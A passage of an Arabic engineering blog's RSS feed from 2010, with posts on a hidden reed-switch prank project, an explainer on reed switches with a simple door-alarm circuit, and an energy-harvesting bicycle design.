<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb6.jpg"><img class="alignright size-full wp-image-2916" src="http://www.handsah.net/wp-content/uploads/2010/10/eb6.jpg" alt="" width="730" height="552" /></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb7.jpg"><img class="alignright size-full wp-image-2917" src="http://www.handsah.net/wp-content/uploads/2010/10/eb7.jpg" alt="" width="730" height="552" /></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/eb8.jpg"><img class="alignright size-full wp-image-2918" src="http://www.handsah.net/wp-content/uploads/2010/10/eb8.jpg" alt="" width="730" height="268" /></a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2910&amp;linkname=%D8%A8%D9%8A%D8%AA%D8%B1%20%D8%B3%D8%A7%D9%8A%D9%85%D9%88%D9%86%20%3A%20%D8%AD%D8%A7%D9%81%D9%84%D8%A9%20%D8%A5%D9%84%20%E2%80%93%20%D9%83%D8%B1%D9%8A%D8%AF%D9%88" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2910&amp;linkname=%D8%A8%D9%8A%D8%AA%D8%B1%20%D8%B3%D8%A7%D9%8A%D9%85%D9%88%D9%86%20%3A%20%D8%AD%D8%A7%D9%81%D9%84%D8%A9%20%D8%A5%D9%84%20%E2%80%93%20%D9%83%D8%B1%D9%8A%D8%AF%D9%88" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2910&amp;linkname=%D8%A8%D9%8A%D8%AA%D8%B1%20%D8%B3%D8%A7%D9%8A%D9%85%D9%88%D9%86%20%3A%20%D8%AD%D8%A7%D9%81%D9%84%D8%A9%20%D8%A5%D9%84%20%E2%80%93%20%D9%83%D8%B1%D9%8A%D8%AF%D9%88" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2910&amp;linkname=%D8%A8%D9%8A%D8%AA%D8%B1%20%D8%B3%D8%A7%D9%8A%D9%85%D9%88%D9%86%20%3A%20%D8%AD%D8%A7%D9%81%D9%84%D8%A9%20%D8%A5%D9%84%20%E2%80%93%20%D9%83%D8%B1%D9%8A%D8%AF%D9%88" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2910&amp;linkname=%D8%A8%D9%8A%D8%AA%D8%B1%20%D8%B3%D8%A7%D9%8A%D9%85%D9%88%D9%86%20%3A%20%D8%AD%D8%A7%D9%81%D9%84%D8%A9%20%D8%A5%D9%84%20%E2%80%93%20%D9%83%D8%B1%D9%8A%D8%AF%D9%88" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2910/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>مشروع الأسبوع: الزر الغامض</title>
		<link>http://www.handsah.net/archives/2894</link>
		<comments>http://www.handsah.net/archives/2894#comments</comments>
		<pubDate>Thu, 21 Oct 2010 07:03:09 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[كهرباء]]></category>
		<category><![CDATA[مشروع نهاية الأسبوع]]></category>
		<category><![CDATA[أفكار مشاريع إلكترونيات]]></category>
		<category><![CDATA[المفتاح المغناطيسي]]></category>
		<category><![CDATA[ريد سويتش]]></category>
		<category><![CDATA[ريلاي ريد]]></category>
		<category><![CDATA[مشاريع إلكترونية]]></category>
		<category><![CDATA[مشروع الأسبوع]]></category>
		<category><![CDATA[مفتاح ريد]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2894</guid>
		<description><![CDATA[تخيل معي أنك حصلت على جهاز صغير &#8220;Ipod، راديو،الخ&#8221; وطلب منك تشغيله عن طريق زر [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/wp-content/uploads/2010/10/cool.jpeg"><img class="alignnone size-full wp-image-2902" title="cool" src="http://www.handsah.net/wp-content/uploads/2010/10/cool.jpeg" alt="" width="430" height="430" /></a>تخيل معي أنك حصلت على جهاز صغير &#8220;Ipod، راديو،الخ&#8221; وطلب منك تشغيله  عن طريق زر التشغيل الوحيد الموجود في مقدمة الجهاز. حاولت مرارا وتكرارا  تغيير وضعية مفتاح التشغيل، لكن دون جدوى! تفحصت البطارية وتأكدت من  القطبية ومن أن كل شيء يبدو سليما..لكن دون نتيجة</p>
<p>وفجأة يأتي من طلب منك تشغيل الجهاز ليمرر يده بكل بساطة فوق زر التشغيل، وفجأة يعمل الجهاز من جديد..وياللعجب! فكيف حصل ذلك؟</p>
<p><img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>في تدوينتي <a href="http://muslimlead.com/?p=1555" target="_blank">الأخيرة</a> تناولت المفتاح المغناطيسي &#8220;Reed Switch, Reed Relay&#8221; ووضحت تركيبه وكيفية استخدامه، واليوم سأعرض  عليكم فكرة بسيطة للغاية وهي حيلة يمكن أن تستخدم كمشروع لهذا الأسبوع.</p>
<p><span style="color: #0000ff;"><strong>ماهو مشروع أسبوعنا؟</strong></span></p>
<p>الفكرة هي أن نقوم باستخدام المفتاح المغناطيسي&#8221;Reed Switch, Reed Relay&#8221; لتشغيل جهاز أو لعبة ما  عن طريق تمرير مغناطيس بالقرب منها. لكن الممتع في هذه التجربة هو أننا  سنتحدى أي شخص للقيام بتشغيل الجهاز عن طريق مفتاح التشغيل العادي، إلا أنه  لن يتمكن من ذلك حيث أنه لن يفطن إلى وجود المفتاح المغناطيسي ولن ينتبه  إلى أننا قمنا بفصل زر التشغيل الرئيسي من داخل الجهاز.</p>
<p>تعالوا نشاهد الفيديو:</p>
<p><object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/B1WjvxLZ6s8?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/B1WjvxLZ6s8?fs=1" type="application/x-shockwave-flash" width="500" height="306" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="color: #0000ff;"><strong>الأدوات:</strong></span></p>
<p>1. أي لعبة أو جهاز يصدر صوتا أو راديو أو لعبة أو IPod</p>
<p>2. مفتاح مغناطيسي &#8220;Reed Relay&#8221;</p>
<p>3.  مفاتيح كهربائية للتمويه</p>
<p>4. بطاريات وأسلاك</p>
<p>5. خاتم مغناطيسي أو أي قطعة مغناطيس صغيرة الحجم يمكن وضعها داخل خاتم</p>
<p>الدارة التي ذكرت في الفيديو في الأعلى  هي من<a href="http://makezine.com/"> المجلة  الشهيرة</a> الخاصة بالهواة. تجدونها في الأسفل:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/circuit1.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/circuit1.jpg" alt="" width="398" height="272" /></a></p>
<p><span style="color: #0000ff;"><strong>ملاحظات:</strong></span></p>
<p>يعتمد مبدأ التجربة على فصل السلك المتصل بمفتاح التشغيل الرئيسي للجهاز  واستبدال ذلك المفتاح بآخر مغناطيسي. ومن ثم نقوم بإعادة تركيب الجهاز  تاركين مفتاح  التشغيل الرئيسي مكانه دون استخدامه وذلك لغرض التمويه.  الآن، لكي يشتغل الجهاز فلابد من تمرير مغناطيس بالقرب من المفتاح  المغناطيسي كي يبدأ الجهاز بالعمل. وهنا يأتي دور الخاتم المغناطيسي الذي  سيعمل على قفل المفتاح وتشغيل الجهاز. يمكننا تطبيق هذه الفكرة على أي جهاز  نريد تشغيله  مثل ألعاب الأطفال، راديو، منبه صوتي، الخ. مع أخذ الحيطة  فيما يتعلق بفرق الجهد والتيار اللذين سيمران من خلال المفتاح المغناطيسي.</p>
<p>تجربة ممتعة!</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2894&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%B2%D8%B1%20%D8%A7%D9%84%D8%BA%D8%A7%D9%85%D8%B6" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2894&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%B2%D8%B1%20%D8%A7%D9%84%D8%BA%D8%A7%D9%85%D8%B6" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2894&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%B2%D8%B1%20%D8%A7%D9%84%D8%BA%D8%A7%D9%85%D8%B6" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2894&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%B2%D8%B1%20%D8%A7%D9%84%D8%BA%D8%A7%D9%85%D8%B6" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2894&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D8%A7%D9%84%D8%B2%D8%B1%20%D8%A7%D9%84%D8%BA%D8%A7%D9%85%D8%B6" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2894/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>المفتاح المغناطيسي..ريد ريلاي</title>
		<link>http://www.handsah.net/archives/2830</link>
		<comments>http://www.handsah.net/archives/2830#comments</comments>
		<pubDate>Mon, 18 Oct 2010 14:24:31 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[كهرباء]]></category>
		<category><![CDATA[المرحل]]></category>
		<category><![CDATA[المفتاح المغناطيسي]]></category>
		<category><![CDATA[ريد ريلاي]]></category>
		<category><![CDATA[ريد سويتش]]></category>
		<category><![CDATA[ريلاي]]></category>
		<category><![CDATA[كيف يعمل الريلاي]]></category>
		<category><![CDATA[مفتاح ريد]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2830</guid>
		<description><![CDATA[ناقشنا في تدوينات سابقة بعضا من العناصر الإلكترونية  الرئيسية التي نجدها في أغلب الدارات الإلكترونية، [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/magnet.png"><img class="alignnone" src="http://muslimlead.com/wp-content/uploads/2010/10/magnet.png" alt="" width="339" height="384" /></a></p>
<p>ناقشنا في تدوينات سابقة بعضا من العناصر الإلكترونية  الرئيسية التي  نجدها في أغلب الدارات الإلكترونية، وتعلمنا أيضاً كيف تعمل بعض المفاتيح  الإلكترونية التي تعتمد في عملها على الترانزستور، وتطرقنا كذلك ل<a href="http://muslimlead.com/?p=2121" target="_blank">لمرِحل&#8221; الريلاي&#8221;.</a> واليوم نتابع نقاشنا بالحديث عن المفاتيح  لنكشف الستار عن عنصر صغير يسمى <strong>المفتاح المغناطيسي</strong>.</p>
<p><strong>ما هو المفتاح المغناطيسي؟</strong><img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>هو عنصر ميكانيكي إلكتروني تم اختراعه عام 1936 في <a href="http://en.wikipedia.org/wiki/Bell_Telephone_Laboratories" target="_blank">معامل بل</a> من قبل إيلوود. يتكون من جزيئن معدنيين على شكل سلكين، يبعدان عن بعضهما  مسافة لا تتجاوز بعض الميكروميترات، ويوجدان داخل إسطوانة زجاجية معزولة  ومملوءة بغاز معين. وفي حال اقتراب مغناطيس خارجي من الإسطوانة، فإن  السلكين سيتأثران بفعل المغناطيس وسينجذبان لبعضهما ويغلقان المفتاح، أو  العكس، فهما في الأصل متصلان ببعضهما وسيبتعدان في حالة اقتراب مغناطيس  منهما. بمعنى آخر مفتاح ريد ما هو إلا مفتاح كهربائي أو إلكتروني، لكن  الفرق في المفاتيح العادية هو وجود قوة ميكانيكة أو كهربائية لتشغيلها، أما  مفتاح ريد فيتم فتحه أو قفله بتأثير المغناطيس.</p>
<p>ويبدو مفتاح ريد كما هو واضح في الصورة التالية: فداخله السلكان  المعدنيان ويحيط بهما الإسطوانة الزجاجية. ويأتي بأحجام مختلفة منها الصغير  و الكبير.</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/Reed_switch.jpg"><img class="alignright" src="http://muslimlead.com/wp-content/uploads/2010/10/Reed_switch.jpg" alt="" width="540" height="125" /></a></p>
<p>لنشاهد المقطع التالي لنتعرف عن قرب على هذا العنصر:</p>
<p><object width="500" height="400"><param name="movie" value="http://www.youtube.com/v/qje8LhZXwO0?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/qje8LhZXwO0?fs=1" type="application/x-shockwave-flash" width="500" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong> بعض من تطبيقات وفوائد مفتاح ريد:</strong></p>
<p>1. يدخل مفتاح ريد في العديد من التطبيقات الصناعية: أجهزة الحماية من  اللصوص مثل كشف فتح الأبواب، أجهزة التحكم، أجهزة القياس وتحديد مستوى  السوائل، الخ</p>
<p>2. له القدرة على تحمل تيارات وجهود عالية</p>
<p>3. يعمل عند ترددات قد تصل لـ500 هرتز</p>
<p>4. زمن الاستجابة سريع ويصل إلى أجزاء من الميللي ثانية</p>
<p>5. مقاومة توصيله صغيرة</p>
<p>وكما عرفنا سابقا، فلكل قطعة إلكترونية سلبية لا يمكن إهمالها، فمفتاح  ريد هو قطعة ميكانيكية في نهاية المطاف، وبالتالي فإن عدد مرات غلق وفتح  أقطابه الداخلية له عمر افتراضي، مما يعني عدم كفاءته في التطبيقات التي  تحتاج عدد مرات استخدام عالية نسبيا. وإضافة إلى ذلك فإن وجود غلاف زجاجي  حول المفتاح قد يشكل خطرا أحيانا حيث أنه سيكون معرضا للكسر .</p>
<p><strong>هل من دارة بسيطة لتجربة مفتاح ريد؟</strong></p>
<p>إليكم هذه الدارة البسيطة &#8220;دارة حماية منزلية ضد السرقة&#8221; وهدفها هو  إصدار تنبيه مرئي أو صوتي عند فتح باب معين. حيث يمكننا تثبيت مفتاح ريد مع  دارته ومصدر التغذية على طرب الباب الثابت، ووضع مغناطيس على الجزء  المتحرك من الباب، فعند إغلاق الباب سيكون المغناطيس بالقرب من مفتاح ريد،  وبالتالي سيتم فتح التماسات ولن يصدر أي صوت، لأن الدارة مفتوحة. وعند فتح  الباب، سيبتعد المغناطيس ويعود مفتاح ريد لوضعه الطبيعي ويتم إغلاق تماساته  الداخلية ويصدر التنبيه المرئي أو الصوتي. في دارتي البسيطة هذه وضعت  ثنائيا مشعا للضوء، ويمكنكم استبداله بأي خرج بشرط أن يتم إعادة حساب  التيار وفرق الجهد اللازم للتشغيل. مفتاح ريد أشرت إليه في الدارة بالرمز  U2</p>
<p>ويمكنكم وضع المغناطيس بالقرب منه لتجربته</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/%D8%B1%D9%8A%D8%AF.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/%D8%B1%D9%8A%D8%AF.jpg" alt="" width="421" height="241" /></a></p>
<p>وهذا التطبيق هو مجرد توسيع للمدارك، فيمكنكم استخدام هذه الدارة في أي تطبيق حماية آخر.</p>
<p><strong>أين يمكنني أن أجد مفتاح ريد؟ </strong></p>
<p>تجدونه لدى محلات <a href="http://www.mejdaf.com/home.htm" target="_blank">مجداف </a>في الرياض أو الخبر أو جدة، واسمه مفتاح ريد أو المفتاح المغناطيسي</p>
<p><strong>المصادر:</strong></p>
<p><a href="http://en.wikipedia.org/wiki/Reed_switch" target="_blank">ويكيبيديا</a></p>
<p><a href="http://www.reed-sensor.com/Notes/General_Reed_Switch_Theory.htm" target="_blank">معلومات عامة</a></p>
<p><a href="http://www.meder.com/fileadmin/meder/pdf/en/Products/OKI_Switches-En/OKI_Switch_ORD211.pdf" target="_blank">ملف المواصفات الفنية لأحد مفاتيح الريد</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2830&amp;linkname=%D8%A7%D9%84%D9%85%D9%81%D8%AA%D8%A7%D8%AD%20%D8%A7%D9%84%D9%85%D8%BA%D9%86%D8%A7%D8%B7%D9%8A%D8%B3%D9%8A..%D8%B1%D9%8A%D8%AF%20%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2830&amp;linkname=%D8%A7%D9%84%D9%85%D9%81%D8%AA%D8%A7%D8%AD%20%D8%A7%D9%84%D9%85%D8%BA%D9%86%D8%A7%D8%B7%D9%8A%D8%B3%D9%8A..%D8%B1%D9%8A%D8%AF%20%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2830&amp;linkname=%D8%A7%D9%84%D9%85%D9%81%D8%AA%D8%A7%D8%AD%20%D8%A7%D9%84%D9%85%D8%BA%D9%86%D8%A7%D8%B7%D9%8A%D8%B3%D9%8A..%D8%B1%D9%8A%D8%AF%20%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2830&amp;linkname=%D8%A7%D9%84%D9%85%D9%81%D8%AA%D8%A7%D8%AD%20%D8%A7%D9%84%D9%85%D8%BA%D9%86%D8%A7%D8%B7%D9%8A%D8%B3%D9%8A..%D8%B1%D9%8A%D8%AF%20%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2830&amp;linkname=%D8%A7%D9%84%D9%85%D9%81%D8%AA%D8%A7%D8%AD%20%D8%A7%D9%84%D9%85%D8%BA%D9%86%D8%A7%D8%B7%D9%8A%D8%B3%D9%8A..%D8%B1%D9%8A%D8%AF%20%D8%B1%D9%8A%D9%84%D8%A7%D9%8A" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2830/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>إعادة الطاقة من قبل كبار المسئولين الاقتصاديين</title>
		<link>http://www.handsah.net/archives/2783</link>
		<comments>http://www.handsah.net/archives/2783#comments</comments>
		<pubDate>Sat, 16 Oct 2010 16:41:12 +0000</pubDate>
		<dc:creator>جميل أغباريه</dc:creator>
				<category><![CDATA[الطاقة الخضراء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2783</guid>
		<description><![CDATA[إعادة الطاقة عن طريق كيم جين و سونغ بو سيك من كوريا هي واحدة من [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/archives/2783"><img class="alignright size-medium wp-image-2785" src="http://www.handsah.net/wp-content/uploads/2010/10/reenergy02-300x181.jpg" alt="" width="300" height="181" /></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span lang="AR-SA"><span>إعادة الطاقة عن طريق كيم جين و سونغ بو سيك <span> </span>من كوريا هي واحدة من مداخل القائمة المختصرة التي تحتوي على أكثر من </span></span><span> </span><span><span><span> </span>4000</span></span><span> </span><span><span><span> </span> <span lang="AR-SA">مشارك في مسابقة &#8221; جوائز إيدا 2010 &#8221; ، والتي نظمتها بالتعاون </span></span></span><span lang="AR-SA"><span>مع </span></span><span> </span><span><span><span> </span><span> </span>designboom</span></span><span> </span><span><span><span> </span> <span lang="AR-SA">في مدينة إنتشون الكبرى</span></span></span><span> </span><span><span>.</span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span lang="AR-SA"><span> </span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">في الوقت الحاضر نحتاج للكثير من الطاقه لشحن الأجهزة المحمولة مثل الهاتف النقال والكمبيوتر المحمول وأجهزه عديدة تعمل على الكهرباء <span> </span>، لذلك خرج هذا المشروع لأنتاج الطاقة باستخدام الدراجات الهوائية وهذا الأمر يساعد في الحفاظ على البيئة</span></span><span><span>..</span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">الدراجة تجمع الطاقة القابلة للاستخدام التي تم إنشاؤها بواسطة دوران العجلات و تقوم الدراجة بتخزينها في بطارية صممت خصيصاً لتكون داخل العجلات حيث يوجد فيها مخرج لشحن الأجهزة الكهربائية الصغيرة</span></span><span><span>.</span></span><span><span lang="AR-SA"> </span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">فإذا كنت مسافراً أو تقضي بعض الوقت في أي مكان عام في هذه الدراجة وفجأة انتهت بطارية المحمول من الطاقة فما عليك سوى وضع الشاحن في المخرج المخصص لذلك في عجلت الدراجة لتشحن جهازك بكل بساطة لذلك لا تنسى الشاحن في البيت.</span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA"><br />
</span></span></p>
<div style="text-align: right;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/reenergy01.jpg"><img class="aligncenter size-medium wp-image-2792" src="http://www.handsah.net/wp-content/uploads/2010/10/reenergy01-300x208.jpg" alt="" width="300" height="208" /></a></div>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/reenergy03.jpg"><img class="aligncenter size-medium wp-image-2793" src="http://www.handsah.net/wp-content/uploads/2010/10/reenergy03-300x121.jpg" alt="" width="300" height="121" /></a>المركبات</p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><a href="http://www.handsah.net/wp-content/uploads/2010/10/reenergy04.jpg"><img class="aligncenter size-medium wp-image-2794" src="http://www.handsah.net/wp-content/uploads/2010/10/reenergy04-300x71.jpg" alt="" width="300" height="71" /></a></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;">
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span style="font-size: x-small;"> </span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA">يستوعب كل المقابس القياسية</span></span></p>
<p class="MsoNormal" style="text-align: right; direction: rtl;"><span><span lang="AR-SA"><a href="http://www.handsah.net/wp-content/uploads/2010/10/bufalino005.jpg"><img class="aligncenter size-medium wp-image-2795" src="http://www.handsah.net/wp-content/uploads/2010/10/bufalino005-300x81.jpg" alt="" width="300" height="81" /></a>المصدر : </span></span><a href="http://www.designboom.com/weblog/cat/8/view/11827/reenergy-by-jin-sik-kim-bo-sung-seo-iida-awards-2010.html">http://www.designboom.com/weblog/cat/8/view/11827/reenergy-by-jin-sik-kim-bo-sung-seo-iida-awards-2010.html</a></p>
